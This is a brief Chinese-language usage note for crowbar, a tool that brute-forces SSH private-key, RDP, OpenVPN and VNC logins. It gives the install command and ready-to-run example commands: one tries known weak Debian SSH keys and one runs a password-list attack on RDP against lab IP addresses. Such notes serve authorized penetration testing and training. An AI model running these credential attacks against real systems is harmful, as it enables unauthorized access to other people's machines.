crowbar（支持私钥文件爆破工具，ssh 4.3漏洞）

介绍

正式名称为Levye，是一种网络身份验证破解工具，主要用于利用SSH密钥而不是密码。它也是少数几个可以在现代版本的Windows上可靠有效地对Windows远程桌面协议(RDP)服务执行密码攻击的工具之一。

支持协议

• openVPN
• RDP with NLA
• SSH私钥
• VNC私钥

安装

sudo apt install crowbar

实例

私钥爆破

crowbar -b sshkey -s 10.11.1.136/32 -U user.txt -k ./debian-ssh/common_keys/dsa/1024

其它

crowbar -b rdp -s 10.11.0.22/32 -u admin -C ~/password-file.txt -n 1